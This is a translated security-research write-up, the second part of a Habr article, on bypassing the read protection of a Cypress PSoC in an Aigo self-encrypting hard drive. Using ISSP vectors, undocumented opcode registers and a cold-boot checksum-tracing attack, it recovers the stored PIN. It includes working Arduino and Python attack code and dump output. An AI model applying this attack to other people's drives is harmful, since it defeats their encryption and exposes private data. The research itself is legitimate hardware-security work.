Preokretanje i hakovanje Aigo eksternog HDD diska koji se samošifruje. Dio 2: Uzimanje iz Cypress PSoC-a

Ovo je drugi i posljednji dio članka o hakiranju vanjskih diskova koji se sami šifriraju. Podsjetim da mi je kolega nedavno donio Patriot (Aigo) SK8671 hard disk i odlučio sam da ga obrnem, a sada dijelim šta je iz njega ispalo. Prije čitanja dalje, svakako pročitajte prvi dio članci.

4. Počinjemo da uzimamo dump sa internog PSoC fleš diska
5. ISSP protokol
– 5.1. Šta je ISSP
– 5.2. Demystifying Vectors
– 5.3. Komunikacija sa PSoC-om
– 5.4. Identifikacija on-chip registara
– 5.5. Sigurnosni bitovi
6. Prvi (neuspeli) napad: ROMX
7. Drugi napad: praćenje hladnog pokretanja
– 7.1. Implementacija
– 7.2. Čitanje rezultata
– 7.3. Flash binarna rekonstrukcija
– 7.4. Pronalaženje adrese za skladištenje PIN koda
– 7.5. Uzimanje deponije bloka br. 126
– 7.6. Oporavak PIN koda
8. Šta je sljedeće?
9. Zaključak

Preokretanje i hakovanje Aigo eksternog HDD diska koji se samošifruje. Dio 2: Uzimanje iz Cypress PSoC-a


4. Počinjemo da uzimamo dump sa internog PSoC fleš diska

Dakle, sve ukazuje (kao što smo ustanovili u [prvom dijelu]()) da je PIN kod pohranjen u flash dubinama PSoC-a. Stoga, moramo pročitati ove dubine blica. Front neophodnih radova:

  • preuzeti kontrolu nad “komunikacijom” sa mikrokontrolerom;
  • pronaći način da provjerite da li je ova “komunikacija” zaštićena od čitanja izvana;
  • pronaći način da zaobiđete zaštitu.

Postoje dva mjesta na kojima ima smisla tražiti važeći PIN kod:

  • interna fleš memorija;
  • SRAM, gdje se pin kod može pohraniti kako bi se uporedio sa pin kodom koji je unio korisnik.

Gledajući unaprijed, primijetit ću da sam ipak uspio napraviti dump internog PSoC fleš diska - zaobilazeći njegov sigurnosni sistem koristeći hardverski napad koji se zove "cold boot tracing" - nakon što sam preokrenuo nedokumentovane mogućnosti ISSP protokola. Ovo mi je omogućilo da direktno izbacim stvarni PIN kod.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Konačni programski kod:

5. ISSP protokol

5.1. Šta je ISSP

"Komunikacija" s mikrokontrolerom može značiti različite stvari: od "prodavca do dobavljača" do interakcije pomoću serijskog protokola (na primjer, ICSP za Microchipov PIC).

Cypress ima svoj vlastiti protokol za ovo, nazvan ISSP (protokol serijskog programiranja u sistemu), koji je djelomično opisan u tehnička specifikacija. Patent US7185162 takođe daje neke informacije. Postoji i OpenSource ekvivalent koji se zove HSSP (koristit ćemo ga malo kasnije). ISSP radi na sljedeći način:

  • ponovno pokretanje PSoC-a;
  • izbacite magični broj na pin serijskih podataka ovog PSoC-a; za ulazak u režim eksternog programiranja;
  • poslati komande, koje su dugi nizovi bitova koji se nazivaju "vektori".

ISSP dokumentacija definira ove vektore za samo mali broj naredbi:

  • Inicijaliziraj-1
  • Inicijaliziraj-2
  • Initialize-3 (3V i 5V opcije)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, gdje je dddddddd=blok #
  • BULK ERASE
  • PROGRAMSKI BLOK
  • VERIFY-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, gdje je DDDDDDDD = izlaz podataka, aaaaaa = adresa (6 bitova)
  • WRITE-BYTE: 10010aaaaaaddddddd111, gdje je dddddddd = podaci u, aaaaaa = adresa (6 bitova)
  • SECURE
  • KONTROLNA SUMA-POSTAVA
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, gdje je DDDDDDDDDDDDDDDD = izlaz podataka: kontrolni zbir uređaja
  • ERASE BLOCK

Na primjer, vektor za Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Svi vektori imaju istu dužinu: 22 bita. HSSP dokumentacija ima neke dodatne informacije o ISSP-u: “ISSP vektor nije ništa više od niza bitova koji predstavlja skup instrukcija.”

5.2. Demystifying Vectors

Hajde da shvatimo šta se ovde dešava. U početku sam pretpostavio da su ti isti vektori sirove verzije M8C instrukcija, ali nakon provjere ove hipoteze, otkrio sam da se kodovi operacija ne podudaraju.

Onda sam proguglao gornji vektor i naišao evo ga studija u kojoj autor, iako ne ulazi u detalje, daje neke korisne savjete: „Svaka instrukcija počinje sa tri bita koji odgovaraju jednoj od četiri mnemonike (čitanje iz RAM-a, pisanje u RAM, čitanje registra, pisanje registra). Zatim postoji 8 bitova adrese, zatim 8 bitova podataka (čitanje ili pisanje) i na kraju tri stop bita.”

Tada sam mogao da izvučem neke vrlo korisne informacije iz odjeljka Supervisory ROM (SROM). tehnički priručnik. SROM je tvrdo kodirani ROM u PSoC-u koji pruža pomoćne funkcije (na sličan način kao Syscall) za programski kod koji se izvodi u korisničkom prostoru:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: Blok pisanja
  • 03h: EraseBlock
  • 06h: Table Read
  • 07h: CheckSum
  • 08h: Kalibracija0
  • 09h: Kalibracija1

Upoređujući imena vektora sa SROM funkcijama, možemo mapirati različite operacije koje podržava ovaj protokol na očekivane SROM parametre. Zahvaljujući tome, možemo dekodirati prva tri bita ISSP vektora:

  • 100 => “wrem”
  • 101 => “rdmem”
  • 110 => “wreg”
  • 111 => “rdreg”

Međutim, potpuno razumijevanje procesa na čipu može se dobiti samo kroz direktnu komunikaciju sa PSoC-om.

5.3. Komunikacija sa PSoC-om

Pošto Dirk Petrautsky već jeste ported Cypressov HSSP kod na Arduinu, koristio sam Arduino Uno da se povežem na ISSP konektor na tastaturi.

Imajte na umu da sam tokom svog istraživanja prilično promijenio Dirkov kod. Moju modifikaciju možete pronaći na GitHubu: ovdje i odgovarajuću Python skriptu za komunikaciju sa Arduinom, u mom spremištu cypress_psoc_tools.

Dakle, koristeći Arduino, prvo sam koristio samo “zvanične” vektore za “komunikaciju”. Pokušao sam pročitati interni ROM koristeći naredbu VERIFY. Kao što se očekivalo, nisam bio u mogućnosti to učiniti. Vjerovatno zbog činjenice da su bitovi zaštite od čitanja aktivirani unutar fleš diska.

Zatim sam kreirao nekoliko svojih jednostavnih vektora za pisanje i čitanje memorije/registra. Imajte na umu da možemo pročitati cijeli SROM iako je fleš disk zaštićen!

5.4. Identifikacija registara na čipu

Nakon što sam pogledao “rastavljene” vektore, otkrio sam da uređaj koristi nedokumentirane registre (0xF8-0xFA) za specificiranje M8C kodova operacija, koji se izvršavaju direktno, zaobilazeći zaštitu. Ovo mi je omogućilo da pokrenem razne opkodove kao što su "ADD", "MOV A, X", "PUSH" ili "JMP". Zahvaljujući njima (gledajući nuspojave koje imaju na registre) uspio sam utvrditi koji su od nedokumentiranih registara zapravo regularni registri (A, X, SP i PC).

Kao rezultat toga, "rastavljeni" kod generiran alatom HSSP_disas.rb izgleda ovako (dodao sam komentare radi jasnoće):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Sigurnosni bitovi

U ovoj fazi već mogu komunicirati sa PSoC-om, ali još uvijek nemam pouzdane informacije o sigurnosnim bitovima fleš diska. Jako me iznenadila činjenica da Cypress korisniku uređaja ne pruža nikakav način da provjeri da li je zaštita aktivirana. Kopao sam dublje u Google da konačno shvatim da je HSSP kod koji je dao Cypress ažuriran nakon što je Dirk objavio svoju modifikaciju. I tako! Pojavio se ovaj novi vektor:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Koristeći ovaj vektor (pogledajte read_security_data u psoc.py), dobijamo sve sigurnosne bitove u SRAM-u na 0x80, gdje postoje dva bita po zaštićenom bloku.

Rezultat je depresivan: sve je zaštićeno u režimu „onemogući eksterno čitanje i pisanje“. Dakle, ne samo da ne možemo ništa čitati s fleš diska, već ne možemo ništa ni napisati (na primjer, da tamo instaliramo ROM dumper). A jedini način da onemogućite zaštitu je potpuno brisanje cijelog čipa. 🙁

6. Prvi (neuspeli) napad: ROMX

Međutim, možemo isprobati sljedeći trik: pošto imamo mogućnost izvršavanja proizvoljnih kodova, zašto ne bismo izvršili ROMX, koji se koristi za čitanje fleš memorije? Ovaj pristup ima dobre šanse za uspjeh. Zato što funkcija ReadBlock koja čita podatke iz SROM-a (koji koriste vektori) provjerava da li je pozvana od ISSP-a. Međutim, ROMX operacijski kod vjerovatno neće imati takvu provjeru. Dakle, evo Python koda (nakon dodavanja nekoliko pomoćnih klasa Arduino kodu):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Nažalost, ovaj kod ne radi. 🙁 Tačnije radi, ali na izlazu dobijamo vlastite opcode (0x28 0x30 0x40)! Ne mislim da je odgovarajuća funkcionalnost uređaja element zaštite od čitanja. Ovo više liči na inženjerski trik: kada se izvršavaju eksterni opkodovi, ROM sabirnica se preusmjerava na privremeni bafer.

7. Drugi napad: praćenje hladnog pokretanja

Pošto ROMX trik nije uspio, počeo sam razmišljati o drugoj varijanti ovog trika - opisano u publikaciji "Baca previše svjetla na zaštitu firmvera mikrokontrolera".

7.1. Implementacija

Dokumentacija ISSP-a pruža sljedeći vektor za POSTAVKU PROVJERE:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ovo u suštini poziva SROM funkciju 0x07, kao što je predstavljeno u dokumentaciji (kurziv moj):

Ova funkcija provjera kontrolne sume. On izračunava 16-bitnu kontrolnu sumu broja korisnički specificiranih blokova u jednoj flash banci, počevši od nule. Parametar BLOCKID se koristi za prosljeđivanje broja blokova koji će se koristiti prilikom izračunavanja kontrolne sume. Vrijednost "1" će izračunati samo kontrolni zbir za nulti blok; dok "0" će uzrokovati da se izračuna ukupna kontrolna suma svih 256 blokova flash banke. 16-bitni kontrolni zbroj se vraća preko KEY1 i KEY2. Parametar KEY1 pohranjuje 8 bitova nižeg reda kontrolne sume, a KEY2 parametar pohranjuje 8 bitova visokog reda. Za uređaje s nekoliko flash banaka, funkcija kontrolne sume se poziva za svaki zasebno. Broj banke sa kojom će raditi je postavljen registrom FLS_PR1 (postavljanjem bita u njemu koji odgovara ciljnoj flash banci).

Imajte na umu da je ovo jednostavna kontrolna suma: bajtovi se jednostavno dodaju jedan za drugim; nema fensi CRC hira. Osim toga, znajući da jezgra M8C ima vrlo mali skup registara, pretpostavio sam da će prilikom izračunavanja kontrolne sume, međuvrijednosti biti zabilježene u istim varijablama koje će na kraju ići na izlaz: KEY1 (0xF8) / KEY2 ( 0xF9).

Dakle, u teoriji moj napad izgleda ovako:

  1. Povezujemo se preko ISSP-a.
  2. Počinjemo računanje kontrolne sume pomoću vektora CHECKSUM-SETUP.
  3. Ponovo pokrećemo procesor nakon određenog vremena T.
  4. Čitamo RAM da dobijemo trenutni kontrolni zbroj C.
  5. Ponovite korake 3 i 4, svaki put malo povećavajući T.
  6. Oporavljamo podatke sa fleš diska oduzimanjem prethodnog kontrolnog zbroja C od trenutnog.

Međutim, postoji problem: vektor Initialize-1 koji moramo poslati nakon ponovnog pokretanja prepisuje KEY1 i KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ovaj kod prepisuje našu dragocjenu kontrolnu sumu pozivanjem Calibrate1 (SROM funkcija 9)... Možda možemo samo poslati magični broj (sa početka koda iznad) da uđemo u programski mod, a zatim pročitamo SRAM? I da, radi! Arduino kod koji implementira ovaj napad je prilično jednostavan:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Pročitaj checkum_delay.
  2. Pokrenite proračun kontrolne sume (send_checksum_v).
  3. Sačekajte određeni vremenski period; uzimajući u obzir sljedeće zamke:
    • Gubio sam dosta vremena dok nisam saznao šta je ispalo delayMicroseconds radi ispravno samo sa kašnjenjima koja ne prelaze 16383 μs;
    • a zatim ponovo ubio isto toliko vremena dok nisam otkrio da kašnjenje mikrosekunde, ako mu se preda 0 kao ulaz, radi potpuno pogrešno!
  4. Ponovo pokrenite PSoC u režim programiranja (samo šaljemo magični broj, bez slanja inicijalizacijskih vektora).

Konačni kod u Pythonu:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Ukratko, šta radi ovaj kod:

  1. Ponovo pokreće PSoC (i šalje mu magični broj).
  2. Šalje pune vektore inicijalizacije.
  3. Poziva Arduino funkciju Cmnd_STK_START_CSUM (0x85), gdje se kašnjenje u mikrosekundama prenosi kao parametar.
  4. Čita kontrolnu sumu (0xF8 i 0xF9) i nedokumentirani registar 0xF1.

Ovaj kod se izvršava 10 puta u 1 mikrosekundi. 0xF1 je uključen ovdje jer je to bio jedini registar koji se promijenio prilikom izračunavanja kontrolne sume. Možda je to neka vrsta privremene varijable koju koristi aritmetičko-logička jedinica. Obratite pažnju na ružan hak koji koristim da resetujem Arduino koristeći picocom kada Arduino prestane da pokazuje znakove života (nemam pojma zašto).

7.2. Čitanje rezultata

Rezultat Python skripte izgleda ovako (pojednostavljeno radi čitljivosti):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Imajući to u vidu, imamo problem: pošto radimo sa stvarnom kontrolnom sumom, nulti bajt ne menja pročitanu vrednost. Međutim, budući da cijela procedura izračunavanja (8192 bajta) traje 0,1478 sekundi (sa malim varijacijama svaki put kada se pokrene), što je jednako približno 18,04 μs po bajtu, možemo iskoristiti ovo vrijeme da provjerimo vrijednost kontrolne sume u odgovarajuće vrijeme. Za prva pokretanja sve se očitava prilično lako, budući da je trajanje računskog postupka uvijek gotovo isto. Međutim, kraj ovog dump-a je manje precizan jer "manja vremenska odstupanja" pri svakom pokretanju postaju značajna:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

To je 10 dumpova za svaku mikrosekundu kašnjenja. Ukupno vreme rada za izbacivanje svih 8192 bajta fleš diska je oko 48 sati.

7.3. Flash binarna rekonstrukcija

Još nisam završio pisanje koda koji će u potpunosti rekonstruirati programski kod fleš diska, uzimajući u obzir sva vremenska odstupanja. Međutim, već sam vratio početak ovog koda. Da bih bio siguran da sam to uradio ispravno, rastavio sam ga koristeći m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Izgleda prilično uvjerljivo!

7.4. Pronalaženje adrese za skladištenje PIN koda

Sada kada možemo pročitati kontrolnu sumu u vrijeme koje nam je potrebno, lako možemo provjeriti kako i gdje se mijenja kada:

  • unesite pogrešan PIN kod;
  • promijenite pin kod.

Prvo, da bih pronašao približnu adresu skladištenja, napravio sam dump kontrolne sume u koracima od 10 ms nakon ponovnog pokretanja. Zatim sam unio pogrešan PIN i učinio isto.

Rezultat nije bio baš prijatan, jer je bilo mnogo promjena. Ali na kraju sam uspio utvrditi da se kontrolni zbir promijenio negdje između 120000 µs i 140000 µs kašnjenja. Ali “pincode” koji sam tamo prikazao bio je potpuno netačan - zbog artefakta procedure delayMicroseconds, koja radi čudne stvari kada joj se proslijeđuje 0.

Zatim, nakon što sam proveo skoro 3 sata, sjetio sam se da SROM sistemski poziv CheckSum prima argument kao ulaz koji specificira broj blokova za kontrolni zbir! To. lako možemo lokalizovati adresu skladištenja PIN koda i brojača „pogrešnih pokušaja“, sa tačnošću do bloka od 64 bajta.

Moje početne vožnje dale su sljedeće rezultate:

Preokretanje i hakovanje Aigo eksternog HDD diska koji se samošifruje. Dio 2: Uzimanje iz Cypress PSoC-a

Zatim sam promijenio PIN kod iz "123456" u "1234567" i dobio:

Preokretanje i hakovanje Aigo eksternog HDD diska koji se samošifruje. Dio 2: Uzimanje iz Cypress PSoC-a

Tako se čini da su PIN kod i brojač pogrešnih pokušaja pohranjeni u blok br. 126.

7.5. Uzimanje deponije bloka br. 126

Blok #126 bi trebao biti lociran negdje oko 125x64x18 = 144000μs, od početka izračunavanja kontrolne sume, u mom punom dumpu, i izgleda prilično uvjerljivo. Zatim, nakon što sam ručno procijedio brojne nevažeće dampove (zbog gomilanja „manjih vremenskih odstupanja“), na kraju sam dobio ove bajtove (sa latencijom od 145527 μs):

Preokretanje i hakovanje Aigo eksternog HDD diska koji se samošifruje. Dio 2: Uzimanje iz Cypress PSoC-a

Sasvim je očigledno da je PIN kod pohranjen u nešifriranom obliku! Ove vrijednosti, naravno, nisu zapisane u ASCII kodovima, ali kako se ispostavilo, one odražavaju očitanja preuzeta sa kapacitivne tastature.

Konačno, izvršio sam još nekoliko testova da pronađem gdje je pohranjen brojač loših pokušaja. Evo rezultata:

Preokretanje i hakovanje Aigo eksternog HDD diska koji se samošifruje. Dio 2: Uzimanje iz Cypress PSoC-a

0xFF - znači "15 pokušaja" i smanjuje se sa svakim neuspjelim pokušajem.

7.6. Oporavak PIN koda

Evo mog ružnog koda koji spaja gore navedeno:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Evo rezultata njegovog izvođenja:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Ura! Works!

Imajte na umu da su vrijednosti kašnjenja koje sam koristio vjerovatno relevantne za jedan određeni PSoC - onaj koji sam koristio.

8. Šta je sljedeće?

Dakle, hajde da sumiramo PSoC stranu, u kontekstu našeg Aigo pogona:

  • možemo čitati SRAM čak i ako je zaštićen od čitanja;
  • Možemo zaobići zaštitu protiv prevlačenja koristeći napad hladnog pokretanja i direktno čitanje PIN koda.

Međutim, naš napad ima neke nedostatke zbog problema sa sinhronizacijom. Moglo bi se poboljšati na sljedeći način:

  • napisati uslužni program za ispravno dekodiranje izlaznih podataka koji su dobijeni kao rezultat "cold boot trace" napada;
  • koristite FPGA gadget za kreiranje preciznijih vremenskih kašnjenja (ili koristite Arduino hardverske tajmere);
  • pokušajte drugi napad: unesite namjerno netačan PIN kod, restartujte i izbacite RAM, nadajući se da će tačan PIN kod biti sačuvan u RAM-u radi poređenja. Međutim, to nije tako lako učiniti na Arduinu, budući da je nivo Arduino signala 5 volti, dok ploča koju ispitujemo radi sa signalima od 3,3 volta.

Jedna zanimljiva stvar koja bi se mogla isprobati je igrati se sa nivoom napona kako bi se zaobišla zaštita čitanja. Ako bi ovaj pristup funkcionirao, mogli bismo dobiti apsolutno tačne podatke sa fleš diska - umjesto da se oslanjamo na čitanje kontrolne sume s nepreciznim vremenskim kašnjenjima.

Budući da SROM vjerovatno čita zaštitne bitove preko ReadBlock sistemskog poziva, mogli bismo učiniti istu stvar kao opisano na blogu Dmitrija Nedospasova - reimplementacija napada Krisa Gerlinskog, objavljenog na konferenciji "REcon Brussels 2017".

Još jedna zabavna stvar koja bi se mogla uraditi jeste da se odvoji kućište od čipa: da se napravi SRAM dump, da se identifikuju nedokumentovani sistemski pozivi i ranjivosti.

9. Zaključak

Dakle, zaštita ovog drajva ostavlja mnogo da se poželi, jer koristi običan (ne "kaljeni") mikrokontroler za čuvanje PIN koda... Plus, nisam (još) pogledao kako stvari stoje sa podacima enkripcija na ovom uređaju!

Šta možete preporučiti za Aigo? Nakon analize par modela šifrovanih HDD diskova, 2015. godine sam napravio prezentacija na SyScan-u, u kojem je ispitao sigurnosne probleme nekoliko eksternih HDD diskova i dao preporuke šta bi se na njima moglo poboljšati. 🙂

Proveo sam dva vikenda i nekoliko večeri radeći ovo istraživanje. Ukupno oko 40 sati. Računajući od samog početka (kada sam otvorio disk) do kraja (dump PIN koda). Istih 40 sati uključuje vrijeme koje sam potrošio na pisanje ovog članka. Bilo je to vrlo uzbudljivo putovanje.

izvor: www.habr.com

Dodajte komentar